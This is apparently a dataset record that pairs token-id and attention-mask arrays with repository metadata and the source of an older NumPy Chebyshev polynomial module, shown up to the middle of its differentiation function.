3618,
26,
272,
1369,
26,
489,
446,
13144,
367,
314,
1256,
370,
12276,
2399,
6387,
1174,
2544,
8152,
14,
14797,
489,
446,
315,
25169,
340,
1265,
787,
10923,
367,
1256,
370,
506,
315,
3879,
1174,
652,
489,
446,
3181,
1133,
4615,
626,
1265,
911,
506,
7688,
370,
12027,
641,
626,
6844,
1454,
626,
489,
446,
8498,
2112,
1172,
8239,
641,
626,
1256,
12,
1937,
283,
2573,
63,
509,
7,
2893,
367,
489,
446,
2436,
14,
272,
849,
26,
9456,
272,
730,
26,
2155,
523,
3618,
63,
2593,
26,
272,
1369,
26,
489,
446,
7494,
1846,
2544,
3618,
10557,
1536,
12,
315,
4696,
272,
849,
26,
9601,
523,
3004,
26,
272,
1369,
26,
489,
446,
437,
2600,
402,
790,
15,
585,
3004,
370,
1050,
370,
892,
4454,
12,
503,
367,
489,
446,
4260,
445,
8,
929,
9,
402,
4454,
543,
3520,
3004,
14,
489,
446,
17276,
787,
1930,
27845,
436,
3232,
46,
2871,
7586,
5847,
15373,
3062,
370,
7008,
1930,
14,
489,
446,
6423,
20381,
445,
8,
2339,
9,
365,
282,
4539,
2225,
1314,
5951,
314,
536,
402,
314,
7525,
1380,
652,
1159,
26181,
14,
489,
446,
445,
27496,
9,
4528,
8,
83,
9,
883,
506,
11544,
370,
314,
445,
8,
2339,
9,
436,
314,
859,
911,
5847,
1050,
489,
446,
10507,
370,
314,
1561,
402,
30641,
14,
489,
446,
2104,
2893,
5242,
445,
8,
2339,
5242,
3925,
13,
5680,
9,
3955,
1218,
30641,
543,
1561,
445,
8,
1421,
13
] |
[
2647,
15,
1393,
15,
1548,
199,
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
199,
3,
4155,
2803,
1655,
2366,
19,
13,
2453,
199,
504,
636,
2443,
363,
492,
334,
6116,
63,
646,
12,
4629,
12,
870,
63,
1593,
9,
199,
363,
6577,
363,
275,
730,
199,
199,
624,
199,
8,
67,
9,
9708,
12,
603,
382,
290,
473,
606,
665,
77,
382,
26455,
32,
6505,
271,
527,
14,
957,
30,
199,
199,
2765,
570,
365,
1777,
402,
2622,
199,
199,
10047,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
390,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
1589,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
8,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
199,
10047,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
7911,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
31461,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
17732,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
199,
5556,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
21632,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
624,
199,
199,
8490,
63,
8314,
275,
791,
1205,
356,
788,
7780,
995,
490,
283,
4946,
63,
991,
356,
283,
9387,
297,
490,
283,
2343,
63,
1023,
356,
283,
17,
14,
17,
936,
199,
199,
8948,
275,
1449,
199,
2595,
199,
578,
26,
1373,
63,
2611,
199,
3612,
63,
1802,
26,
10560,
503,
26751,
3232,
46,
2871,
7586,
4454,
199,
1802,
26,
523,
446,
21612,
3232,
46,
2871,
7586,
4454,
199,
1023,
63,
3270,
26,
298,
18,
14,
22,
2,
199,
7538,
26,
523,
446,
2366,
13,
679,
65,
199,
1419,
26,
523,
2986,
63,
633,
26,
272,
1369,
26,
489,
446,
2851,
402,
314,
3232,
46,
2871,
7586,
11785,
1654,
14,
489,
446,
2779,
365,
14318,
370,
675,
14147,
880,
626,
314,
3434,
15,
2060,
787,
440,
489,
446,
1752,
5057,
1806,
314,
2784,
625,
15078,
14,
489,
446,
982,
440,
663,
2066,
314,
574,
402,
314,
445,
8,
4817,
63,
2632,
9,
3734,
1750,
365,
1202,
14,
523,
2986,
63,
2473,
26,
272,
1369,
26,
489,
446,
2812,
402,
314,
922,
370,
4676,
1901,
314,
3232,
46,
2871,
7586,
11785,
1654,
14,
982,
440,
663,
489,
446,
2066,
314,
574,
402,
314,
445,
8,
4817,
63,
11958,
9,
3734,
1750,
365,
1202,
14,
523,
2986,
63,
2060,
26,
272,
1369,
26,
489,
446,
13635,
402,
314,
922,
370,
4676,
1901,
3232,
46,
2871,
7586,
11785,
1654,
14,
982,
440,
663,
489,
446,
2066,
314,
574,
402,
314,
445,
8,
4817,
63,
9032,
9,
3734,
1750,
365,
1202,
14,
489,
446,
340,
3865,
473,
8,
1246,
63,
2473,
9,
503,
473,
8,
1246,
63,
2060,
9,
787,
440,
663,
12,
2066,
652,
911,
862,
489,
446,
12895,
543,
13051,
1790,
570,
14,
3758,
931,
365,
26810,
8083,
368,
15,
368,
63,
1178,
1674,
489,
446,
2494,
3734,
1750,
445,
8,
4817,
63,
5580,
9,
370,
4278,
642,
931,
14,
523,
1978,
63,
354,
26,
272,
1369,
26,
489,
446,
2812,
402,
7525,
1978,
370,
675,
370,
1218,
282,
892,
315,
1207,
301,
523,
1978,
63,
344,
26,
272,
1369,
26,
489,
446,
2870,
402,
282,
7525,
1978,
370,
675,
370,
1218,
282,
892,
1256,
523,
4169,
63,
928,
63,
265,
63,
12239,
26,
272,
1369,
26,
489,
446,
2494,
370,
2549,
370,
5324,
4169,
641,
10266,
1830,
6425,
272,
849,
26,
756,
272,
1015,
63,
3270,
26,
283,
18,
14,
25,
7,
523,
1256,
63,
1580,
26,
272,
1369,
26,
489,
446,
437,
769,
402,
1256,
2762,
1202,
367,
6363,
5242,
445,
8,
5575,
395,
445,
8,
5720,
395,
445,
8,
264,
656,
5731,
395,
445,
8,
555,
21221,
1997,
9,
272,
5481,
26,
788,
1580,
418,
523,
1174,
26,
272,
1369,
26,
489,
446,
445,
8,
1881,
9,
446,
1218,
4454,
687,
282,
1978,
2013,
543,
445,
8,
1160,
63,
344,
2447,
35,
8,
1160,
63,
354,
680,
489,
446,
445,
8,
5720,
9,
446,
1255,
4454,
489,
446,
445,
8,
555,
21221,
1997,
9,
446,
7074,
13,
1997,
4454,
489,
446,
445,
8,
264,
656,
5731,
9,
446,
19457,
4454,
489,
446,
445,
8,
5575,
9,
446,
15095,
4454,
272,
3415,
26,
2097,
1881,
401,
298,
5575,
401,
298,
5720,
401,
298,
264,
656,
5731,
401,
298,
555,
21221,
1997,
937,
272,
849,
26,
3451,
523,
7508,
26,
272,
1369,
26,
489,
446,
799,
4930,
12,
7074,
13,
1997,
503,
15095,
4454,
445,
8,
8726,
9,
272,
849,
26,
949,
272,
730,
26,
2155,
523,
3618,
26,
272,
1369,
26,
489,
446,
13144,
367,
314,
1256,
370,
12276,
2399,
6387,
1174,
2544,
8152,
14,
14797,
489,
446,
315,
25169,
340,
1265,
787,
10923,
367,
1256,
370,
506,
315,
3879,
1174,
652,
489,
446,
3181,
1133,
4615,
626,
1265,
911,
506,
7688,
370,
12027,
641,
626,
6844,
1454,
626,
489,
446,
8498,
2112,
1172,
8239,
641,
626,
1256,
12,
1937,
283,
2573,
63,
509,
7,
2893,
367,
489,
446,
2436,
14,
272,
849,
26,
9456,
272,
730,
26,
2155,
523,
3618,
63,
2593,
26,
272,
1369,
26,
489,
446,
7494,
1846,
2544,
3618,
10557,
1536,
12,
315,
4696,
272,
849,
26,
9601,
523,
3004,
26,
272,
1369,
26,
489,
446,
437,
2600,
402,
790,
15,
585,
3004,
370,
1050,
370,
892,
4454,
12,
503,
367,
489,
446,
4260,
445,
8,
929,
9,
402,
4454,
543,
3520,
3004,
14,
489,
446,
17276,
787,
1930,
27845,
436,
3232,
46,
2871,
7586,
5847,
15373,
3062,
370,
7008,
1930,
14,
489,
446,
6423,
20381,
445,
8,
2339,
9,
365,
282,
4539,
2225,
1314,
5951,
314,
536,
402,
314,
7525,
1380,
652,
1159,
26181,
14,
489,
446,
445,
27496,
9,
4528,
8,
83,
9,
883,
506,
11544,
370,
314,
445,
8,
2339,
9,
436,
314,
859,
911,
5847,
1050,
489,
446,
10507,
370,
314,
1561,
402,
30641,
14,
489,
446,
2104,
2893,
5242,
445,
8,
2339,
5242,
3925,
13,
5680,
9,
3955,
1218,
30641,
543,
1561,
445,
8,
1421,
13,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Event38/MissionPlanner
|
Lib/site-packages/numpy/polynomial/chebyshev.py
|
53
|
40135
|
"""
Objects for dealing with Chebyshev series.
This module provides a number of objects (mostly functions) useful for
dealing with Chebyshev series, including a `Chebyshev` class that
encapsulates the usual arithmetic operations. (General information
on how this module represents and works with such polynomials is in the
docstring for its "parent" sub-package, `numpy.polynomial`).
Constants
---------
- `chebdomain` -- Chebyshev series default domain, [-1,1].
- `chebzero` -- (Coefficients of the) Chebyshev series that evaluates
identically to 0.
- `chebone` -- (Coefficients of the) Chebyshev series that evaluates
identically to 1.
- `chebx` -- (Coefficients of the) Chebyshev series for the identity map,
``f(x) = x``.
Arithmetic
----------
- `chebadd` -- add two Chebyshev series.
- `chebsub` -- subtract one Chebyshev series from another.
- `chebmul` -- multiply two Chebyshev series.
- `chebdiv` -- divide one Chebyshev series by another.
- `chebval` -- evaluate a Chebyshev series at given points.
Calculus
--------
- `chebder` -- differentiate a Chebyshev series.
- `chebint` -- integrate a Chebyshev series.
Misc Functions
--------------
- `chebfromroots` -- create a Chebyshev series with specified roots.
- `chebroots` -- find the roots of a Chebyshev series.
- `chebvander` -- Vandermonde-like matrix for Chebyshev polynomials.
- `chebfit` -- least-squares fit returning a Chebyshev series.
- `chebpts1` -- Chebyshev points of the first kind.
- `chebpts2` -- Chebyshev points of the second kind.
- `chebtrim` -- trim leading coefficients from a Chebyshev series.
- `chebline` -- Chebyshev series of given straight line.
- `cheb2poly` -- convert a Chebyshev series to a polynomial.
- `poly2cheb` -- convert a polynomial to a Chebyshev series.
Classes
-------
- `Chebyshev` -- A Chebyshev series class.
See also
--------
`numpy.polynomial`
Notes
-----
The implementations of multiplication, division, integration, and
differentiation use the algebraic identities [1]_:
.. math ::
T_n(x) = \\frac{z^n + z^{-n}}{2} \\\\
z\\frac{dx}{dz} = \\frac{z - z^{-1}}{2}.
where
.. math :: x = \\frac{z + z^{-1}}{2}.
These identities allow a Chebyshev series to be expressed as a finite,
symmetric Laurent series. In this module, this sort of Laurent series
is referred to as a "z-series."
References
----------
.. [1] A. T. Benjamin, et al., "Combinatorial Trigonometry with Chebyshev
Polynomials," *Journal of Statistical Planning and Inference 14*, 2008
(preprint: http://www.math.hmc.edu/~benjamin/papers/CombTrig.pdf, pg. 4)
"""
from __future__ import division
__all__ = ['chebzero', 'chebone', 'chebx', 'chebdomain', 'chebline',
'chebadd', 'chebsub', 'chebmulx', 'chebmul', 'chebdiv', 'chebval',
'chebder', 'chebint', 'cheb2poly', 'poly2cheb', 'chebfromroots',
'chebvander', 'chebfit', 'chebtrim', 'chebroots', 'chebpts1',
'chebpts2', 'Chebyshev']
import numpy as np
import numpy.linalg as la
import polyutils as pu
import warnings
from polytemplate import polytemplate
chebtrim = pu.trimcoef
#
# A collection of functions for manipulating z-series. These are private
# functions and do minimal error checking.
#
def _cseries_to_zseries(cs) :
"""Covert Chebyshev series to z-series.
Covert a Chebyshev series to the equivalent z-series. The result is
never an empty array. The dtype of the return is the same as that of
the input. No checks are run on the arguments as this routine is for
internal use.
Parameters
----------
cs : 1-d ndarray
Chebyshev coefficients, ordered from low to high
Returns
-------
zs : 1-d ndarray
Odd length symmetric z-series, ordered from low to high.
"""
n = cs.size
zs = np.zeros(2*n-1, dtype=cs.dtype)
zs[n-1:] = cs/2
return zs + zs[::-1]
def _zseries_to_cseries(zs) :
"""Covert z-series to a Chebyshev series.
Covert a z series to the equivalent Chebyshev series. The result is
never an empty array. The dtype of the return is the same as that of
the input. No checks are run on the arguments as this routine is for
internal use.
Parameters
----------
zs : 1-d ndarray
Odd length symmetric z-series, ordered from low to high.
Returns
-------
cs : 1-d ndarray
Chebyshev coefficients, ordered from low to high.
"""
n = (zs.size + 1)//2
cs = zs[n-1:].copy()
cs[1:n] *= 2
return cs
def _zseries_mul(z1, z2) :
"""Multiply two z-series.
Multiply two z-series to produce a z-series.
Parameters
----------
z1, z2 : 1-d ndarray
The arrays must be 1-d but this is not checked.
Returns
-------
product : 1-d ndarray
The product z-series.
Notes
-----
This is simply convolution. If symmetic/anti-symmetric z-series are
denoted by S/A then the following rules apply:
S*S, A*A -> S
S*A, A*S -> A
"""
return np.convolve(z1, z2)
def _zseries_div(z1, z2) :
"""Divide the first z-series by the second.
Divide `z1` by `z2` and return the quotient and remainder as z-series.
Warning: this implementation only applies when both z1 and z2 have the
same symmetry, which is sufficient for present purposes.
Parameters
----------
z1, z2 : 1-d ndarray
The arrays must be 1-d and have the same symmetry, but this is not
checked.
Returns
-------
(quotient, remainder) : 1-d ndarrays
Quotient and remainder as z-series.
Notes
-----
This is not the same as polynomial division on account of the desired form
of the remainder. If symmetic/anti-symmetric z-series are denoted by S/A
then the following rules apply:
S/S -> S,S
A/A -> S,A
The restriction to types of the same symmetry could be fixed but seems like
uneeded generality. There is no natural form for the remainder in the case
where there is no symmetry.
"""
z1 = z1.copy()
z2 = z2.copy()
len1 = len(z1)
len2 = len(z2)
if len2 == 1 :
z1 /= z2
return z1, z1[:1]*0
elif len1 < len2 :
return z1[:1]*0, z1
else :
dlen = len1 - len2
scl = z2[0]
z2 /= scl
quo = np.empty(dlen + 1, dtype=z1.dtype)
i = 0
j = dlen
while i < j :
r = z1[i]
quo[i] = z1[i]
quo[dlen - i] = r
tmp = r*z2
z1[i:i+len2] -= tmp
z1[j:j+len2] -= tmp
i += 1
j -= 1
r = z1[i]
quo[i] = r
tmp = r*z2
z1[i:i+len2] -= tmp
quo /= scl
rem = z1[i+1:i-1+len2].copy()
return quo, rem
def _zseries_der(zs) :
"""Differentiate a z-series.
The derivative is with respect to x, not z. This is achieved using the
chain rule and the value of dx/dz given in the module notes.
Parameters
----------
zs : z-series
The z-series to differentiate.
Returns
-------
derivative : z-series
The derivative
Notes
-----
The zseries for x (ns) has been multiplied by two in order to avoid
using floats that are incompatible with Decimal and likely other
specialized scalar types. This scaling has been compensated by
multiplying the value of zs by two also so that the two cancels in the
division.
"""
n = len(zs)//2
ns = np.array([-1, 0, 1], dtype=zs.dtype)
zs *= np.arange(-n, n+1)*2
d, r = _zseries_div(zs, ns)
return d
def _zseries_int(zs) :
"""Integrate a z-series.
The integral is with respect to x, not z. This is achieved by a change
of variable using dx/dz given in the module notes.
Parameters
----------
zs : z-series
The z-series to integrate
Returns
-------
integral : z-series
The indefinite integral
Notes
-----
The zseries for x (ns) has been multiplied by two in order to avoid
using floats that are incompatible with Decimal and likely other
specialized scalar types. This scaling has been compensated by
dividing the resulting zs by two.
"""
n = 1 + len(zs)//2
ns = np.array([-1, 0, 1], dtype=zs.dtype)
zs = _zseries_mul(zs, ns)
div = np.arange(-n, n+1)*2
zs[:n] /= div[:n]
zs[n+1:] /= div[n+1:]
zs[n] = 0
return zs
#
# Chebyshev series functions
#
def poly2cheb(pol) :
"""
Convert a polynomial to a Chebyshev series.
Convert an array representing the coefficients of a polynomial (relative
to the "standard" basis) ordered from lowest degree to highest, to an
array of the coefficients of the equivalent Chebyshev series, ordered
from lowest to highest degree.
Parameters
----------
pol : array_like
1-d array containing the polynomial coefficients
Returns
-------
cs : ndarray
1-d array containing the coefficients of the equivalent Chebyshev
series.
See Also
--------
cheb2poly
Notes
-----
The easy way to do conversions between polynomial basis sets
is to use the convert method of a class instance.
Examples
--------
>>> from numpy import polynomial as P
>>> p = P.Polynomial(range(4))
>>> p
Polynomial([ 0., 1., 2., 3.], [-1., 1.])
>>> c = p.convert(kind=P.Chebyshev)
>>> c
Chebyshev([ 1. , 3.25, 1. , 0.75], [-1., 1.])
>>> P.poly2cheb(range(4))
array([ 1. , 3.25, 1. , 0.75])
"""
[pol] = pu.as_series([pol])
deg = len(pol) - 1
res = 0
for i in range(deg, -1, -1) :
res = chebadd(chebmulx(res), pol[i])
return res
def cheb2poly(cs) :
"""
Convert a Chebyshev series to a polynomial.
Convert an array representing the coefficients of a Chebyshev series,
ordered from lowest degree to highest, to an array of the coefficients
of the equivalent polynomial (relative to the "standard" basis) ordered
from lowest to highest degree.
Parameters
----------
cs : array_like
1-d array containing the Chebyshev series coefficients, ordered
from lowest order term to highest.
Returns
-------
pol : ndarray
1-d array containing the coefficients of the equivalent polynomial
(relative to the "standard" basis) ordered from lowest order term
to highest.
See Also
--------
poly2cheb
Notes
-----
The easy way to do conversions between polynomial basis sets
is to use the convert method of a class instance.
Examples
--------
>>> from numpy import polynomial as P
>>> c = P.Chebyshev(range(4))
>>> c
Chebyshev([ 0., 1., 2., 3.], [-1., 1.])
>>> p = c.convert(kind=P.Polynomial)
>>> p
Polynomial([ -2., -8., 4., 12.], [-1., 1.])
>>> P.cheb2poly(range(4))
array([ -2., -8., 4., 12.])
"""
from polynomial import polyadd, polysub, polymulx
[cs] = pu.as_series([cs])
n = len(cs)
if n < 3:
return cs
else:
c0 = cs[-2]
c1 = cs[-1]
# i is the current degree of c1
for i in range(n - 1, 1, -1) :
tmp = c0
c0 = polysub(cs[i - 2], c1)
c1 = polyadd(tmp, polymulx(c1)*2)
return polyadd(c0, polymulx(c1))
#
# These are constant arrays are of integer type so as to be compatible
# with the widest range of other types, such as Decimal.
#
# Chebyshev default domain.
chebdomain = np.array([-1,1])
# Chebyshev coefficients representing zero.
chebzero = np.array([0])
# Chebyshev coefficients representing one.
chebone = np.array([1])
# Chebyshev coefficients representing the identity x.
chebx = np.array([0,1])
def chebline(off, scl) :
"""
Chebyshev series whose graph is a straight line.
Parameters
----------
off, scl : scalars
The specified line is given by ``off + scl*x``.
Returns
-------
y : ndarray
This module's representation of the Chebyshev series for
``off + scl*x``.
See Also
--------
polyline
Examples
--------
>>> import numpy.polynomial.chebyshev as C
>>> C.chebline(3,2)
array([3, 2])
>>> C.chebval(-3, C.chebline(3,2)) # should be -3
-3.0
"""
if scl != 0 :
return np.array([off,scl])
else :
return np.array([off])
def chebfromroots(roots) :
"""
Generate a Chebyshev series with the given roots.
Return the array of coefficients for the C-series whose roots (a.k.a.
"zeros") are given by *roots*. The returned array of coefficients is
ordered from lowest order "term" to highest, and zeros of multiplicity
greater than one must be included in *roots* a number of times equal
to their multiplicity (e.g., if `2` is a root of multiplicity three,
then [2,2,2] must be in *roots*).
Parameters
----------
roots : array_like
Sequence containing the roots.
Returns
-------
out : ndarray
1-d array of the C-series' coefficients, ordered from low to
high. If all roots are real, ``out.dtype`` is a float type;
otherwise, ``out.dtype`` is a complex type, even if all the
coefficients in the result are real (see Examples below).
See Also
--------
polyfromroots
Notes
-----
What is returned are the :math:`c_i` such that:
.. math::
\\sum_{i=0}^{n} c_i*T_i(x) = \\prod_{i=0}^{n} (x - roots[i])
where ``n == len(roots)`` and :math:`T_i(x)` is the `i`-th Chebyshev
(basis) polynomial over the domain `[-1,1]`. Note that, unlike
`polyfromroots`, due to the nature of the C-series basis set, the
above identity *does not* imply :math:`c_n = 1` identically (see
Examples).
Examples
--------
>>> import numpy.polynomial.chebyshev as C
>>> C.chebfromroots((-1,0,1)) # x^3 - x relative to the standard basis
array([ 0. , -0.25, 0. , 0.25])
>>> j = complex(0,1)
>>> C.chebfromroots((-j,j)) # x^2 + 1 relative to the standard basis
array([ 1.5+0.j, 0.0+0.j, 0.5+0.j])
"""
if len(roots) == 0 :
return np.ones(1)
else :
[roots] = pu.as_series([roots], trim=False)
prd = np.array([1], dtype=roots.dtype)
for r in roots:
prd = chebsub(chebmulx(prd), r*prd)
return prd
def chebadd(c1, c2):
"""
Add one Chebyshev series to another.
Returns the sum of two Chebyshev series `c1` + `c2`. The arguments
are sequences of coefficients ordered from lowest order term to
highest, i.e., [1,2,3] represents the series ``T_0 + 2*T_1 + 3*T_2``.
Parameters
----------
c1, c2 : array_like
1-d arrays of Chebyshev series coefficients ordered from low to
high.
Returns
-------
out : ndarray
Array representing the Chebyshev series of their sum.
See Also
--------
chebsub, chebmul, chebdiv, chebpow
Notes
-----
Unlike multiplication, division, etc., the sum of two Chebyshev series
is a Chebyshev series (without having to "reproject" the result onto
the basis set) so addition, just like that of "standard" polynomials,
is simply "component-wise."
Examples
--------
>>> from numpy.polynomial import chebyshev as C
>>> c1 = (1,2,3)
>>> c2 = (3,2,1)
>>> C.chebadd(c1,c2)
array([ 4., 4., 4.])
"""
# c1, c2 are trimmed copies
[c1, c2] = pu.as_series([c1, c2])
if len(c1) > len(c2) :
c1[:c2.size] += c2
ret = c1
else :
c2[:c1.size] += c1
ret = c2
return pu.trimseq(ret)
def chebsub(c1, c2):
"""
Subtract one Chebyshev series from another.
Returns the difference of two Chebyshev series `c1` - `c2`. The
sequences of coefficients are from lowest order term to highest, i.e.,
[1,2,3] represents the series ``T_0 + 2*T_1 + 3*T_2``.
Parameters
----------
c1, c2 : array_like
1-d arrays of Chebyshev series coefficients ordered from low to
high.
Returns
-------
out : ndarray
Of Chebyshev series coefficients representing their difference.
See Also
--------
chebadd, chebmul, chebdiv, chebpow
Notes
-----
Unlike multiplication, division, etc., the difference of two Chebyshev
series is a Chebyshev series (without having to "reproject" the result
onto the basis set) so subtraction, just like that of "standard"
polynomials, is simply "component-wise."
Examples
--------
>>> from numpy.polynomial import chebyshev as C
>>> c1 = (1,2,3)
>>> c2 = (3,2,1)
>>> C.chebsub(c1,c2)
array([-2., 0., 2.])
>>> C.chebsub(c2,c1) # -C.chebsub(c1,c2)
array([ 2., 0., -2.])
"""
# c1, c2 are trimmed copies
[c1, c2] = pu.as_series([c1, c2])
if len(c1) > len(c2) :
c1[:c2.size] -= c2
ret = c1
else :
c2 = -c2
c2[:c1.size] += c1
ret = c2
return pu.trimseq(ret)
def chebmulx(cs):
"""Multiply a Chebyshev series by x.
Multiply the polynomial `cs` by x, where x is the independent
variable.
Parameters
----------
cs : array_like
1-d array of Chebyshev series coefficients ordered from low to
high.
Returns
-------
out : ndarray
Array representing the result of the multiplication.
Notes
-----
.. versionadded:: 1.5.0
"""
# cs is a trimmed copy
[cs] = pu.as_series([cs])
# The zero series needs special treatment
if len(cs) == 1 and cs[0] == 0:
return cs
prd = np.empty(len(cs) + 1, dtype=cs.dtype)
prd[0] = cs[0]*0
prd[1] = cs[0]
if len(cs) > 1:
tmp = cs[1:]/2
prd[2:] = tmp
prd[0:-2] += tmp
return prd
def chebmul(c1, c2):
"""
Multiply one Chebyshev series by another.
Returns the product of two Chebyshev series `c1` * `c2`. The arguments
are sequences of coefficients, from lowest order "term" to highest,
e.g., [1,2,3] represents the series ``T_0 + 2*T_1 + 3*T_2``.
Parameters
----------
c1, c2 : array_like
1-d arrays of Chebyshev series coefficients ordered from low to
high.
Returns
-------
out : ndarray
Of Chebyshev series coefficients representing their product.
See Also
--------
chebadd, chebsub, chebdiv, chebpow
Notes
-----
In general, the (polynomial) product of two C-series results in terms
that are not in the Chebyshev polynomial basis set. Thus, to express
the product as a C-series, it is typically necessary to "re-project"
the product onto said basis set, which typically produces
"un-intuitive" (but correct) results; see Examples section below.
Examples
--------
>>> from numpy.polynomial import chebyshev as C
>>> c1 = (1,2,3)
>>> c2 = (3,2,1)
>>> C.chebmul(c1,c2) # multiplication requires "reprojection"
array([ 6.5, 12. , 12. , 4. , 1.5])
"""
# c1, c2 are trimmed copies
[c1, c2] = pu.as_series([c1, c2])
z1 = _cseries_to_zseries(c1)
z2 = _cseries_to_zseries(c2)
prd = _zseries_mul(z1, z2)
ret = _zseries_to_cseries(prd)
return pu.trimseq(ret)
def chebdiv(c1, c2):
"""
Divide one Chebyshev series by another.
Returns the quotient-with-remainder of two Chebyshev series
`c1` / `c2`. The arguments are sequences of coefficients from lowest
order "term" to highest, e.g., [1,2,3] represents the series
``T_0 + 2*T_1 + 3*T_2``.
Parameters
----------
c1, c2 : array_like
1-d arrays of Chebyshev series coefficients ordered from low to
high.
Returns
-------
[quo, rem] : ndarrays
Of Chebyshev series coefficients representing the quotient and
remainder.
See Also
--------
chebadd, chebsub, chebmul, chebpow
Notes
-----
In general, the (polynomial) division of one C-series by another
results in quotient and remainder terms that are not in the Chebyshev
polynomial basis set. Thus, to express these results as C-series, it
is typically necessary to "re-project" the results onto said basis
set, which typically produces "un-intuitive" (but correct) results;
see Examples section below.
Examples
--------
>>> from numpy.polynomial import chebyshev as C
>>> c1 = (1,2,3)
>>> c2 = (3,2,1)
>>> C.chebdiv(c1,c2) # quotient "intuitive," remainder not
(array([ 3.]), array([-8., -4.]))
>>> c2 = (0,1,2,3)
>>> C.chebdiv(c2,c1) # neither "intuitive"
(array([ 0., 2.]), array([-2., -4.]))
"""
# c1, c2 are trimmed copies
[c1, c2] = pu.as_series([c1, c2])
if c2[-1] == 0 :
raise ZeroDivisionError()
lc1 = len(c1)
lc2 = len(c2)
if lc1 < lc2 :
return c1[:1]*0, c1
elif lc2 == 1 :
return c1/c2[-1], c1[:1]*0
else :
z1 = _cseries_to_zseries(c1)
z2 = _cseries_to_zseries(c2)
quo, rem = _zseries_div(z1, z2)
quo = pu.trimseq(_zseries_to_cseries(quo))
rem = pu.trimseq(_zseries_to_cseries(rem))
return quo, rem
def chebpow(cs, pow, maxpower=16) :
"""Raise a Chebyshev series to a power.
Returns the Chebyshev series `cs` raised to the power `pow`. The
arguement `cs` is a sequence of coefficients ordered from low to high.
i.e., [1,2,3] is the series ``T_0 + 2*T_1 + 3*T_2.``
Parameters
----------
cs : array_like
1d array of chebyshev series coefficients ordered from low to
high.
pow : integer
Power to which the series will be raised
maxpower : integer, optional
Maximum power allowed. This is mainly to limit growth of the series
to umanageable size. Default is 16
Returns
-------
coef : ndarray
Chebyshev series of power.
See Also
--------
chebadd, chebsub, chebmul, chebdiv
Examples
--------
"""
# cs is a trimmed copy
[cs] = pu.as_series([cs])
power = int(pow)
if power != pow or power < 0 :
raise ValueError("Power must be a non-negative integer.")
elif maxpower is not None and power > maxpower :
raise ValueError("Power is too large")
elif power == 0 :
return np.array([1], dtype=cs.dtype)
elif power == 1 :
return cs
else :
# This can be made more efficient by using powers of two
# in the usual way.
zs = _cseries_to_zseries(cs)
prd = zs
for i in range(2, power + 1) :
prd = np.convolve(prd, zs)
return _zseries_to_cseries(prd)
def chebder(cs, m=1, scl=1) :
"""
Differentiate a Chebyshev series.
Returns the series `cs` differentiated `m` times. At each iteration the
result is multiplied by `scl` (the scaling factor is for use in a linear
change of variable). The argument `cs` is the sequence of coefficients
from lowest order "term" to highest, e.g., [1,2,3] represents the series
``T_0 + 2*T_1 + 3*T_2``.
Parameters
----------
cs: array_like
1-d array of Chebyshev series coefficients ordered from low to high.
m : int, optional
Number of derivatives taken, must be non-negative. (Default: 1)
scl : scalar, optional
Each differentiation is multiplied by `scl`. The end result is
multiplication by ``scl**m``. This is for use in a linear change of
variable. (Default: 1)
Returns
-------
der : ndarray
Chebyshev series of the derivative.
See Also
--------
chebint
Notes
-----
In general, the result of differentiating a C-series needs to be
"re-projected" onto the C-series basis set. Thus, typically, the
result of this function is "un-intuitive," albeit correct; see Examples
section below.
Examples
--------
>>> from numpy.polynomial import chebyshev as C
>>> cs = (1,2,3,4)
>>> C.chebder(cs)
array([ 14., 12., 24.])
>>> C.chebder(cs,3)
array([ 96.])
>>> C.chebder(cs,scl=-1)
array([-14., -12., -24.])
>>> C.chebder(cs,2,-1)
array([ 12., 96.])
"""
cnt = int(m)
if cnt != m:
raise ValueError, "The order of derivation must be integer"
if cnt < 0 :
